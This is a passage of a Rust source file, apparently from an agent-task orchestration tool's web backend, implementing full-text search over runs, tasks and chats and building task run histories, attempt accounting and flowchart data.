5422    let needles: Vec<Vec<char>> = terms
5423        .iter()
5424        .map(|t| t.chars().map(fold_char).collect())
5425        .collect();
5426    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5427        let mut best: Option<(usize, usize)> = None;
5428        for n in needles.iter().filter(|n| !n.is_empty()) {
5429            // `to` bounds where a match may start; it may run past `to` (the
5430            // caller clips what it shows). A term longer than the field cannot
5431            // occur in it (it may live in another leaf of the document).
5432            if n.len() > chars.len() || to == 0 {
5433                continue;
5434            }
5435            let last = (to - 1).min(chars.len() - n.len());
5436            if from > last {
5437                continue;
5438            }
5439            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5440                && best.is_none_or(|(b, _)| i < b)
5441            {
5442                best = Some((i, i + n.len()));
5443            }
5444        }
5445        best
5446    };
5447    let Some((start, _)) = find(0, chars.len()) else {
5448        // Matched only through a case mapping that changes length: show the head.
5449        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5450        return vec![SnippetPart {
5451            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5452            hit: false,
5453        }];
5454    };
5455    let lo = start.saturating_sub(SNIPPET_BEFORE);
5456    let hi = (start + SNIPPET_AFTER).min(chars.len());
5457    let mut parts: Vec<SnippetPart> = Vec::new();
5458    let mut push = |s: &[char], hit: bool| {
5459        if s.is_empty() {
5460            return;
5461        }
5462        let text: String = s.iter().collect();
5463        match parts.last_mut() {
5464            Some(p) if p.hit == hit => p.text.push_str(&text),
5465            _ => parts.push(SnippetPart { text, hit }),
5466        }
5467    };
5468    if lo > 0 {
5469        push(&['\u{2026}'], false);
5470    }
5471    let mut at = lo;
5472    while at < hi {
5473        match find(at, hi) {
5474            Some((s, e)) => {
5475                push(&chars[at..s], false);
5476                // A match running past the window is shown up to its edge.
5477                let shown = e.min(hi);
5478                push(&chars[s..shown], true);
5479                at = shown;
5480            }
5481            None => {
5482                push(&chars[at..hi], false);
5483                at = hi;
5484            }
5485        }
5486    }
5487    if hi < chars.len() {
5488        push(&['\u{2026}'], false);
5489    }
5490    // Collapse whitespace (newlines in an instruction) without disturbing the
5491    // hit boundaries.
5492    let mut prev_space = false;
5493    for p in &mut parts {
5494        let mut out = String::with_capacity(p.text.len());
5495        for c in p.text.chars() {
5496            if c.is_whitespace() {
5497                if !prev_space {
5498                    out.push(' ');
5499                }
5500                prev_space = true;
5501            } else {
5502                out.push(c);
5503                prev_space = false;
5504            }
5505        }
5506        p.text = out;
5507    }
5508    parts.retain(|p| !p.text.is_empty());
5509    parts
5510}
5511
5512/// The search over `docs` (id, document), newest first, capped.
5513fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5514where
5515    I: IntoIterator<Item = (String, serde_json::Value)>,
5516{
5517    for (id, doc) in docs {
5518        let mut leaves = Vec::new();
5519        // The id is text an operator types too, and it is a map key on disk,
5520        // not a leaf.
5521        leaves.push(("id", id.as_str()));
5522        text_leaves(&doc, "", &mut leaves);
5523        if let Some(mut hit) = search_document(terms, &leaves) {
5524            view.total += 1;
5525            if view.hits.len() < SEARCH_MAX_HITS {
5526                hit.id = id;
5527                view.hits.push(hit);
5528            }
5529        }
5530    }
5531    view.truncated = view.total > view.hits.len();
5532}
5533
5534/// What a conversation is searched by: its list title and each turn's text,
5535/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5536/// (session ids, repo paths, usage, drafts) is part of the document.
5537///
5538/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5539fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5540    let opener = talk
5541        .title
5542        .as_ref()
5543        .filter(|t| !t.text.is_empty())
5544        .map(|t| t.text.as_str())
5545        .or_else(|| {
5546            talk.turns
5547                .iter()
5548                .find(|t| t.who == talk::Who::Operator)
5549                .map(|t| t.body.as_str())
5550        })
5551        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5552        .unwrap_or("");
5553    let title: String = if opener.chars().count() > 96 {
5554        opener.chars().take(95).chain(['\u{2026}']).collect()
5555    } else {
5556        opener.to_owned()
5557    };
5558    let turns: Vec<serde_json::Value> = talk
5559        .turns
5560        .iter()
5561        .map(|t| {
5562            let who = match t.who {
5563                crate::talk::Who::Operator => "operator",
5564                crate::talk::Who::Agent => "agent",
5565            };
5566            serde_json::json!({ who: t.body })
5567        })
5568        .collect();
5569    serde_json::json!({ "title": title, "turns": turns })
5570}
5571
5572/// Read-only full-text search over every run's `run.json`, every task or every
5573/// conversation (title and transcript).
5574///
5575/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5576/// record from an older schema still searches; only a file that is not JSON
5577/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5578async fn search_get(
5579    State(ui): State<Arc<Ui>>,
5580    Query(q): Query<SearchQuery>,
5581) -> ApiResult<Json<SearchView>> {
5582    let query = q.q.trim().to_owned();
5583    if query.is_empty() {
5584        return Err(ApiError::bad_request("q must not be empty"));
5585    }
5586    if query.chars().count() > SEARCH_MAX_QUERY {
5587        return Err(ApiError::bad_request(format!(
5588            "q is longer than {SEARCH_MAX_QUERY} characters"
5589        )));
5590    }
5591    let terms = search_terms(&query);
5592    if terms.len() > SEARCH_MAX_TERMS {
5593        return Err(ApiError::bad_request(format!(
5594            "q has more than {SEARCH_MAX_TERMS} terms"
5595        )));
5596    }
5597    let scope = q.scope;
5598    if scope != "runs" && scope != "tasks" && scope != "chats" {
5599        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5600    }
5601    blocking(move || {
5602        let mut view = SearchView {
5603            scope: scope.clone(),
5604            q: query,
5605            hits: Vec::new(),
5606            total: 0,
5607            truncated: false,
5608            unreadable: 0,
5609        };
5610        if scope == "runs" {
5611            let mut unreadable = 0;
5612            // One run.json is read, matched and dropped at a time; nothing
5613            // holds the whole history. The scan runs to the end even past the
5614            // hit cap so `total` and `unreadable` stay exact.
5615            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5616                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5617                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5618                    Some(v) => Some((id, v)),
5619                    None => {
5620                        unreadable += 1;
5621                        None
5622                    }
5623                }
5624            });
5625            search_docs(&terms, docs, &mut view);
5626            view.unreadable = unreadable;
5627            // Only the capped hits get a row: the filters need a run's state,
5628            // and reading every match would be the whole history again.
5629            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5630            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5631            for hit in &mut view.hits {
5632                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5633                    hit.run = summarize(
5634                        [state],
5635                        &open_runs,
5636                        &claimed,
5637                        &superseded,
5638                        |p| probe.borrow_mut().status(p),
5639                        |p| probe.borrow_mut().started_at(p),
5640                    )
5641                    .pop();
5642                }
5643            }
5644        } else if scope == "chats" {
5645            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5646            view.unreadable = unreadable;
5647            search_docs(
5648                &terms,
5649                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5650                &mut view,
5651            );
5652        } else {
5653            let docs = ui.queue.list().into_iter().filter_map(|t| {
5654                let mut v = serde_json::to_value(&t).ok()?;
5655                // `source` serialises as a tagged object; the label is what
5656                // the operator reads ("human", "chat@a1b2").
5657                if let Some(o) = v.as_object_mut() {
5658                    o.insert("filed_by".to_owned(), t.source.label().into());
5659                }
5660                Some((t.id, v))
5661            });
5662            search_docs(&terms, docs, &mut view);
5663        }
5664        Ok(Json(view))
5665    })
5666    .await
5667}
5668
5669/// One attempt in a task's history, as the task page lists it.
5670#[derive(Debug, Serialize)]
5671struct TaskRunView {
5672    /// 1-based position in [`Task::runs`].
5673    n: usize,
5674    id: String,
5675    short: String,
5676    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5677    kind: &'static str,
5678    /// The run's own status string; `None` when its record cannot be read.
5679    status: Option<&'static str>,
5680    /// Whether this build could read the run's record. Counted, never hidden.
5681    readable: bool,
5682    /// A verdict from a collapsed panel is provisional, never a decision.
5683    provisional: bool,
5684    /// What kind of attempt this was, in one line.
5685    description: String,
5686    /// How it ended and why the task moved on (or what it is doing now).
5687    outcome: String,
5688    created_at: Option<Timestamp>,
5689    pr: Option<String>,
5690    /// Why this pass ended, classified once; the flowchart is built from it.
5691    exit: RunExit,
5692    /// What the pass did to the task's attempt budget.
5693    attempt: AttemptCost,
5694    /// Edge wording for leaving this entry; names the recorded cause when
5695    /// there is one.
5696    exit_label: String,
5697    /// The position of a later entry for the same run: this entry is an
5698    /// earlier pass of it.
5699    later_pass: Option<usize>,
5700    /// Which pass over the run this entry is (1-based) and how many entries
5701    /// the task lists for the run. Counted from the list, so known even for
5702    /// a legacy record.
5703    pass_n: usize,
5704    passes_of_run: usize,
5705    /// What the run recorded about this pass; `None` for a record from before
5706    /// passes were kept, whose cause stays unknown.
5707    pass: Option<PassView>,
5708    /// The branch a review-only run reopened.
5709    branch: Option<String>,
5710    /// The badge word when it differs from `status` (`stale` / `superseded`);
5711    /// filled by the task route, which can see liveness and later attempts.
5712    badge: Option<String>,
5713}
5714
5715/// One recorded pass over a run, for the wire.
5716#[derive(Debug, Clone, PartialEq, Serialize)]
5717struct PassView {
5718    index: usize,
5719    resumed: bool,
5720    started_at: Timestamp,
5721    ended_at: Option<Timestamp>,
5722    /// `open`, `parked` or `unrecorded`.
5723    end: &'static str,
5724    cause: Option<crate::run::ParkCause>,
5725    /// One line: why it stopped, or that nobody recorded why.
5726    label: String,
5727    /// What the task recorded for this pass; `None` when it was not settled
5728    /// (or settled by a build that kept no record).
5729    cost: Option<crate::queue::PassCost>,
5730}
5731
5732impl PassView {
5733    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5734        use crate::run::PassEnd;
5735        let (end, cause, label) = match &p.end {
5736            None => ("open", None, "still open".to_owned()),
5737            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5738            Some(PassEnd::Unrecorded) => (
5739                "unrecorded",
5740                None,
5741                "stopped without recording why (a crash, a kill or a restart; not known)"
5742                    .to_owned(),
5743            ),
5744        };
5745        Self {
5746            index: p.index,
5747            resumed: p.resumed,
5748            started_at: p.started_at,
5749            ended_at: p.ended_at,
5750            end,
5751            cause,
5752            label,
5753            cost: settled.map(|t| t.cost),
5754        }
5755    }
5756}
5757
5758/// How one pass over a run ended, as far as the task's life is concerned.
5759#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5760#[serde(rename_all = "snake_case")]
5761enum RunExit {
5762    Unreadable,
5763    /// An earlier pass of a run id that appears again: it stopped short.
5764    Interrupted,
5765    Parked,
5766    MachineBlocked,
5767    QuotaStall,
5768    /// Stalled on a resumed pass with quota losses on record: they may be
5769    /// left over from an earlier pass, so whether this one was refunded is
5770    /// not knowable.
5771    ResumedQuotaStall,
5772    Merged,
5773    Ready,
5774    Superseded,
5775    /// The change was already on the base under other commits: the task
5776    /// finished without this run landing anything.
5777    AlreadyInBase,
5778    /// Stalled without a rate limit to blame: no verdict, attempt spent.
5779    Stalled,
5780    /// Blocked / no-op with a pull request left open: held for a person.
5781    HeldWithPr,
5782    NoopHeld,
5783    /// Blocked or failed: the attempt is spent and the task retries or holds.
5784    Spent,
5785    InProgress,
5786}
5787
5788#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5789#[serde(rename_all = "snake_case")]
5790enum AttemptCost {
5791    Spent,
5792    Refunded,
5793    None,
5794    /// Cannot be told from the records that remain.
5795    Unknown,
5796}
5797
5798impl RunExit {
5799    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5800        let Some(s) = s else {
5801            return Self::Unreadable;
5802        };
5803        let status = s.status;
5804        if resumed_later {
5805            Self::Interrupted
5806        } else if s.parked {
5807            Self::Parked
5808        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
5809            Self::MachineBlocked
5810        } else if !status.done() {
5811            Self::InProgress
5812        } else if matches!(status, RunStatus::Merged) {
5813            Self::Merged
5814        } else if matches!(status, RunStatus::Ready) {
5815            Self::Ready
5816        } else if matches!(status, RunStatus::Superseded) {
5817            Self::Superseded
5818        } else if matches!(status, RunStatus::AlreadyInBase) {
5819            Self::AlreadyInBase
5820        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5821            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5822        {
5823            if resumed {
5824                Self::ResumedQuotaStall
5825            } else {
5826                Self::QuotaStall
5827            }
5828        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5829            Self::HeldWithPr
5830        } else if matches!(status, RunStatus::VerifiedNoop) {
5831            Self::NoopHeld
5832        } else if matches!(status, RunStatus::Stalled) {
5833            Self::Stalled
5834        } else {
5835            Self::Spent
5836        }
5837    }
5838
5839    fn cost(self) -> AttemptCost {
5840        match self {
5841            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
5842            Self::Merged
5843            | Self::Ready
5844            | Self::Stalled
5845            | Self::HeldWithPr
5846            | Self::NoopHeld
5847            | Self::Spent => AttemptCost::Spent,
5848            Self::InProgress => AttemptCost::None,
5849            Self::AlreadyInBase => AttemptCost::Refunded,
5850            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5851                AttemptCost::Unknown
5852            }
5853        }
5854    }
5855
5856    /// Short edge wording for leaving a run this way.
5857    fn edge_label(self, status: Option<&str>) -> String {
5858        match self {
5859            Self::Unreadable => "record unreadable".to_owned(),
5860            Self::Interrupted => "interrupted before the run finished".to_owned(),
5861            Self::Parked => "parked, attempt refunded".to_owned(),
5862            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
5863            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5864            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5865            Self::Merged => "merged".to_owned(),
5866            Self::Ready => "ready, not merged".to_owned(),
5867            Self::Superseded => "superseded by a later attempt".to_owned(),
5868            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5869            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5870            Self::HeldWithPr => "blocked, PR left open".to_owned(),
5871            Self::NoopHeld => "verified no-op".to_owned(),
5872            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5873            Self::InProgress => "in progress".to_owned(),
5874        }
5875    }
5876
5877    /// Does a task in `end` follow from a run that ended this way? When not,
5878    /// somebody closed or held the task by hand.
5879    fn explains(self, end: TaskStatus) -> bool {
5880        match self {
5881            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5882            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5883            Self::Unreadable | Self::Superseded | Self::Ready => true,
5884            _ => end != TaskStatus::Done,
5885        }
5886    }
5887}
5888
5889/// `GET /api/queue/{id}` - one task with every attempt it went through.
5890#[derive(Debug, Serialize)]
5891struct TaskDetailView {
5892    #[serde(flatten)]
5893    task: TaskView,
5894    /// Task override, or the default daemon budget when inherited.
5895    /// A separate loop's command-line limit is not visible from here.
5896    max_attempts: usize,
5897    history: Vec<TaskRunView>,
5898    /// Entries in `history`: passes over runs, not distinct runs and not
5899    /// attempts consumed (`task.attempts`).
5900    passes_total: usize,
5901    /// Distinct runs those passes belong to.
5902    runs_distinct: usize,
5903    flow: FlowView,
5904    /// Set for a follow-up task; see [`followup_origin`].
5905    followup_origin: Option<FollowUpOrigin>,
5906    /// How many entries of `history` could not be read.
5907    runs_unreadable: usize,
5908    /// Why the attempt count can be lower than the number of runs.
5909    attempts_note: &'static str,
5910}
5911
5912const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5913and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5914on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5915the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5916
5917/// The branch a review-only run reopened, read off the instruction
5918/// `Runner::open_review` writes.
5919fn review_branch_of(instruction: &str) -> Option<&str> {
5920    let rest = instruction.strip_prefix("Review the work already on branch `")?;
5921    rest.split('`').next().filter(|b| !b.is_empty())
5922}
5923
5924/// Where an entry sits in a task's run list.
5925#[derive(Default)]
5926struct RunSlot<'a> {
5927    /// 1-based position.
5928    n: usize,
5929    /// The same run id appeared earlier: this pass resumed it.
5930    resumed: bool,
5931    /// Position of a later pass over the same run id, if any.
5932    resumed_later: Option<usize>,
5933    /// The previous distinct run and how it ended, for the retry note.
5934    prior: Option<(&'a str, RunStatus)>,
5935    last: bool,
5936    /// This pass as the run recorded it, when it did.
5937    pass: Option<&'a crate::run::RunPass>,
5938    /// What the task recorded when it settled this pass.
5939    settled: Option<&'a crate::queue::TaskPass>,
5940    /// 1-based position among the task's entries for this run, and their count.
5941    pass_n: usize,
5942    passes_of_run: usize,
5943}
5944
5945/// Describe one entry of a task's run list. Pure: everything it needs is on
5946/// the run and the task, so it is asserted without a server.
5947fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5948    let RunSlot {
5949        n,
5950        resumed,
5951        resumed_later,
5952        prior,
5953        last,
5954        pass,
5955        settled,
5956        pass_n,
5957        passes_of_run,
5958    } = at;
5959    let short = run::short_of(id).to_owned();
5960    let Some(s) = state else {
5961        return TaskRunView {
5962            n,
5963            id: id.to_owned(),
5964            short,
5965            kind: "unknown",
5966            status: None,
5967            readable: false,
5968            provisional: false,
5969            description:
5970                "This run's record could not be read by this build (written by a different \
5971                          magi, or removed), so what kind of attempt it was is unknown."
5972                    .to_owned(),
5973            outcome: String::new(),
5974            created_at: None,
5975            pr: None,
5976            exit: RunExit::Unreadable,
5977            attempt: AttemptCost::Unknown,
5978            exit_label: RunExit::Unreadable.edge_label(None),
5979            later_pass: resumed_later,
5980            pass_n,
5981            passes_of_run,
5982            pass: None,
5983            branch: None,
5984            badge: None,
5985        };
5986    };
5987    let branch = review_branch_of(&s.instruction);
5988    let kind = if resumed {
5989        "resume"
5990    } else if branch.is_some() {
5991        "review"
5992    } else if task.solo || s.candidates.len() == 1 {
5993        "solo"
5994    } else {
5995        "competition"
5996    };
5997    let mut description = match kind {
5998        "resume" => {
5999            format!("Resumed run {short}: the same run carried on instead of competing again.")
6000        }
6001        "review" => format!(
6002            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6003            branch.unwrap_or_default()
6004        ),
6005        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6006        _ => format!(
6007            "Competition: {} candidates judged blind.",
6008            s.candidates.len().max(1)
6009        ),
6010    };
6011    if !resumed && let Some((p, st)) = prior {
6012        description.push_str(&format!(
6013            " A retry: run {p} before it ended {}.",
6014            st.display_label()
6015        ));
6016    }
6017
6018    let status = s.status;
6019    let provisional = matches!(status, RunStatus::Stalled)
6020        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6021    let head = if resumed_later.is_some() {
6022        String::new()
6023    } else {
6024        match status {
6025            RunStatus::Merged => "Merged.".to_owned(),
6026            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6027            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6028            RunStatus::AlreadyInBase => {
6029                "Already in the base: this change landed under other commits, nothing was left to land."
6030                    .to_owned()
6031            }
6032            RunStatus::Stalled => {
6033                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6034                    .to_owned()
6035            }
6036            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6037            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6038            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6039            RunStatus::VerifiedNoop => {
6040                "Verified no-op: the candidates found nothing to change.".to_owned()
6041            }
6042            other if other.done() => format!("Ended {}.", other.display_label()),
6043            other => format!("In progress ({}).", other.display_label()),
6044        }
6045    };
6046    let view = pass.map(|p| PassView::of(p, settled));
6047    let recorded_end = view
6048        .as_ref()
6049        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6050    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6051        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6052        Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6053        None => "whether its attempt was handed back was not recorded",
6054    };
6055    let pass_note = if passes_of_run > 1 {
6056        format!(
6057            " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6058        )
6059    } else {
6060        String::new()
6061    };
6062    let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6063        // The run recorded this pass's end when it happened.
6064        let cause = match v.end {
6065            "parked" => format!("It was stopped on purpose: {}.", v.label),
6066            _ => format!("It {}.", v.label),
6067        };
6068        format!(
6069            " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6070            capitalise(cost_words)
6071        )
6072    } else if let Some(k) = resumed_later {
6073        // A run is only picked up again while it is unfinished, so an earlier
6074        // pass of a repeated id stopped short; the record keeps only the run's
6075        // latest status, which is left to the pass that carried it on.
6076        // Only the latest state is recorded: `parked` is cleared on resume
6077        // and `quota` accumulates across passes, so neither says why *this*
6078        // pass stopped, and the refund is as unknown as `AttemptCost` says.
6079        let cause = if s.quota.is_empty() {
6080            "the cause was not recorded: a park, a crash or a restart all look the same from here"
6081        } else {
6082            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6083        };
6084        format!(
6085            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6086        )
6087    } else if s.parked {
6088        match recorded_end.and_then(|v| v.cause.as_ref()) {
6089            Some(cause) => format!(
6090                " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6091                cause.label(),
6092                cost_words
6093            ),
6094            None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6095                .to_owned(),
6096        }
6097    } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6098        " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6099    } else if !status.done()
6100        || matches!(
6101            status,
6102            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6103        )
6104    {
6105        String::new()
6106    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6107        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6108    {
6109        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6110            .to_owned()
6111    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6112        " It left a pull request open, so the task was held for a person rather than retried."
6113            .to_owned()
6114    } else if matches!(status, RunStatus::VerifiedNoop) {
6115        " Held for a person to check the claim.".to_owned()
6116    } else if last {
6117        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6118    } else {
6119        " It spent an attempt, and the task moved on to the next run.".to_owned()
6120    };
6121    let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6122    let mut attempt = exit.cost();
6123    let mut exit_label = None;
6124    if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6125        let spent = match v.cost {
6126            Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6127            Some(crate::queue::PassCost::Spent) => ", attempt counted",
6128            None if resumed_later.is_some() => ", refund not recorded",
6129            None => ", attempt refunded",
6130        };
6131        attempt = match v.cost {
6132            Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6133            Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6134            None if resumed_later.is_some() => AttemptCost::Unknown,
6135            None => attempt,
6136        };
6137        if v.end == "parked" {
6138            exit = RunExit::Parked;
6139            exit_label = Some(match v.cause.as_ref() {
6140                Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6141                    format!("parked for {}{spent}", c.label())
6142                }
6143                Some(c) => format!("parked ({}){spent}", c.label()),
6144                None => format!("parked{spent}"),
6145            });
6146        } else {
6147            exit_label = Some(format!("stopped without a recorded cause{spent}"));
6148        }
6149    }
6150    let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6151    TaskRunView {
6152        n,
6153        id: id.to_owned(),
6154        short,
6155        kind,
6156        status: Some(status.as_str()),
6157        readable: true,
6158        provisional,
6159        description,
6160        outcome: format!("{head}{why}"),
6161        created_at: Some(s.created_at),
6162        pr: s.pr.as_ref().map(|p| p.url.clone()),
6163        exit,
6164        attempt,
6165        exit_label,
6166        later_pass: resumed_later,
6167        pass_n,
6168        passes_of_run,
6169        pass: view,
6170        branch: branch.map(str::to_owned),
6171        badge: None,
6172    }
6173}
6174
6175fn capitalise(s: &str) -> String {
6176    let mut c = s.chars();
6177    c.next().map_or_else(String::new, |f| {
6178        f.to_uppercase().collect::<String>() + c.as_str()
6179    })
6180}
6181
6182/// One box of the task's flowchart.
6183#[derive(Debug, Serialize, PartialEq)]
6184struct FlowNode {
6185    /// Unique by position: a resumed run id appears once per pass.
6186    key: String,
6187    /// `chat`, `followup`, `start`, `run` or `end`.
6188    kind: &'static str,
6189    label: String,
6190    /// Run status (or the task's, for `end`); `None` when it is not a fact
6191    /// about this box (unreadable, or a pass the run later resumed from).
6192    status: Option<&'static str>,
6193    /// Whose status `status` is, so the client picks the right colour table:
6194    /// `task` (the `followup` parent and `end`) or `run`.
6195    status_of: &'static str,
6196    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
6197    note: Option<&'static str>,
6198    run_kind: Option<&'static str>,
6199    detail: Option<String>,
6200    /// A readable run with a real verdict; a stall never is.
6201    decided: bool,
6202    readable: bool,
6203    href: Option<String>,
6204    /// Overrides `status` as the badge word (`stale` / `superseded`).
6205    badge: Option<String>,
6206    /// Start of this entry, never the run's latest update or pass settlement.
6207    started_at: Option<Timestamp>,
6208    /// Context links (chat / follow-up) do not represent execution entries.
6209    time_expected: bool,
6210}
6211
6212#[derive(Debug, Serialize, PartialEq)]
6213struct FlowEdge {
6214    from: String,
6215    to: String,
6216    label: String,
6217    attempt: AttemptCost,
6218}
6219
6220#[derive(Debug, Serialize, PartialEq)]
6221struct FlowView {
6222    nodes: Vec<FlowNode>,
6223    edges: Vec<FlowEdge>,
6224    /// Attempts the task has counted since it was last released.
6225    attempts: usize,
6226    max_attempts: usize,
6227    /// Entries in the run list (passes), and how many distinct runs they are.
6228    /// Neither is the number of attempts consumed.
6229    passes: usize,
6230    runs: usize,
6231}
6232
6233/// Turn a task and its described runs into the flowchart's boxes and arrows.
6234/// Pure: the page only draws what this returns.
6235///
6236/// A follow-up opens with its parent (or the merged run) unless the task's
6237/// *source* is itself a chat, in which case the chat stays first and the
6238/// follow-up node comes second. An inherited `Task::origin_chat` alone never
6239/// adds a chat node: `crate::followup` files with `node: "followup"`, so the
6240/// two normally do not coincide and the nearer origin wins.
6241fn task_flow(
6242    task: &Task,
6243    history: &[TaskRunView],
6244    max_attempts: usize,
6245    origin: Option<&FollowUpOrigin>,
6246) -> FlowView {
6247    let max_attempts = task.effective_attempt_limit(max_attempts);
6248    let node = |key: &str, kind, label: String| FlowNode {
6249        key: key.to_owned(),
6250        kind,
6251        label,
6252        status: None,
6253        status_of: "run",
6254        note: None,
6255        run_kind: None,
6256        detail: None,
6257        decided: false,
6258        readable: true,
6259        href: None,
6260        badge: None,
6261        started_at: None,
6262        time_expected: matches!(kind, "start" | "run" | "end"),
6263    };
6264    let mut nodes = Vec::new();
6265    let mut edges: Vec<FlowEdge> = Vec::new();
6266    // A task queued from a chat opens the flow with that conversation.
6267    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6268        let mut n = node(
6269            "chat",
6270            "chat",
6271            format!("Chat {}", crate::queue::short(&link.id)),
6272        );
6273        n.href = Some(link.href);
6274        nodes.push(n);
6275        edges.push(FlowEdge {
6276            from: "chat".to_owned(),
6277            to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6278            label: "queued from chat".to_owned(),
6279            attempt: AttemptCost::None,
6280        });
6281    }
6282    if let Some(o) = origin {
6283        let mut n = match &o.parent {
6284            Some(p) => {
6285                let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6286                n.status = Some(p.status);
6287                n.status_of = "task";
6288                n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6289                n.href = Some(p.href.clone());
6290                n
6291            }
6292            None => {
6293                let mut n = node(
6294                    "origin",
6295                    "followup",
6296                    format!("Follow-up of run {}", o.run.short),
6297                );
6298                n.detail = Some("merged run".to_owned());
6299                n.status = o.run.status;
6300                n.href = o.run.href.clone();
6301                if o.run.href.is_none() {
6302                    n.readable = false;
6303                    n.note = Some("unreadable");
6304                }
6305                n
6306            }
6307        };
6308        n.decided = true;
6309        let from = n.key.clone();
6310        nodes.push(n);
6311        let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6312        let more = o.findings.len().saturating_sub(shown.len());
6313        let label = match (shown.is_empty(), more) {
6314            (true, _) => "open findings".to_owned(),
6315            (false, 0) => format!("open findings {}", shown.join(", ")),
6316            (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6317        };
6318        edges.push(FlowEdge {
6319            from,
6320            to: "start".to_owned(),
6321            label,
6322            attempt: AttemptCost::None,
6323        });
6324    }
6325    let mut start = node("start", "start", "Task queued".to_owned());
6326    start.started_at = Some(task.created_at);
6327    nodes.push(start);
6328    let mut prev = "start".to_owned();
6329    let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6330    for (i, h) in history.iter().enumerate() {
6331        let key = format!("run-{}", h.n);
